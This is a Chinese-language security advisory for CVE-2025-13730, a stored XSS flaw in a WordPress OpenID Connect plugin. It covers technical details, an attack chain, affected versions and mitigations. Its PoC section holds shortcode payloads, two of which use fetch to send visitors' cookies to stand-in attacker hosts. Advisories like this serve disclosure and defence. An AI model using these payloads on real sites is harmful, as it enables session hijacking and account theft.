CVE-2025-13730 WordPress OpenID Connect Generic Client存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-13730

漏洞类型

存储型XSS

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

OpenID Connect Generic Client plugin for WordPress

漏洞概述

CVE-2025-13730是WordPress平台OpenID Connect Generic Client插件中的一个存储型跨站脚本（Stored XSS）漏洞。该插件是一款广泛使用的WordPress身份认证集成插件，支持通过OpenID Connect协议将WordPress站点与各种OAuth2/OIDC身份提供商集成，实现单点登录功能。漏洞存在于插件的'openid_connect_generic_auth_url'短代码功能中，由于插件在处理用户输入时缺乏充分的输入清理（input sanitization）和输出转义（output escaping），导致恶意构造的JavaScript代码可以被存储在数据库中。当其他用户访问包含恶意代码的页面时，浏览器会执行这些脚本，从而实现会话劫持、凭据窃取或恶意重定向等攻击。攻击者需要具有Contributor级别或更高的WordPress用户权限即可利用此漏洞，这使得该漏洞在多用户WordPress环境中具有较高的实际威胁性。

技术细节

该漏洞的根本原因在于插件对'openid_connect_generic_auth_url'短代码参数的处理不当。攻击者通过在短代码属性中注入恶意JavaScript代码，由于插件未对用户输入进行适当的HTML实体转义，这些恶意代码会被直接存储到WordPress数据库中。当页面被渲染时，未转义的脚本内容会被输出到HTML页面中，浏览器将其作为有效脚本执行。攻击者可以利用此漏洞窃取受害者的Cookie会话信息、进行钓鱼攻击、或在受害者浏览器中执行任意JavaScript操作。CVSS 3.1评分6.4（AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N）表明该漏洞可通过网络低复杂度利用，需要低权限认证但无用户交互即可实现，对机密性和完整性造成较低影响。由于漏洞位于短代码功能，攻击者可以在任何允许使用短代码的位置（如文章、页面）注入恶意代码。

攻击链分析

STEP 1

步骤1

攻击者登录WordPress后台，获得Contributor或更高权限账户

STEP 2

步骤2

攻击者在文章或页面中插入包含恶意JavaScript代码的openid_connect_generic_auth_url短代码

STEP 3

步骤3

由于插件缺乏输入验证和输出转义，恶意代码被存储到WordPress数据库

STEP 4

步骤4

当普通用户访问包含恶意短代码的页面时，浏览器执行注入的JavaScript

STEP 5

步骤5

攻击者通过JavaScript获取用户Cookie、会话令牌或其他敏感信息

STEP 6

步骤6

攻击者利用窃取的会话信息劫持用户账户或进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress Shortcode XSS PoC for CVE-2025-13730 -->
<!-- Attacker with Contributor+ role can inject this shortcode -->
<!-- When victim views the page, the XSS will execute -->

[openid_connect_generic_auth_url onmouseover="alert(document.cookie)"]Click Here[/openid_connect_generic_auth_url]

<!-- Alternative PoC with img onerror handler -->
[openid_connect_generic_auth_url]<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>[/openid_connect_generic_auth_url]

<!-- Steal admin cookies -->
[openid_connect_generic_auth_url onload="fetch('https://evil.com/log?cookie='+btoa(document.cookie))"]Malicious Link[/openid_connect_generic_auth_url]

影响范围

OpenID Connect Generic Client plugin for WordPress <= 3.10.0

防御指南

临时缓解措施

在官方补丁发布之前，可采取以下临时缓解措施：1) 限制用户角色权限，确保只有管理员可以使用短代码功能；2) 使用WordPress安全插件（如Wordfence）监控异常的短代码使用行为；3) 启用Web应用防火墙规则拦截包含XSS特征的请求；4) 对所有用户输入实施严格的输出编码；5) 考虑暂时禁用OpenID Connect Generic Client插件直到完成升级。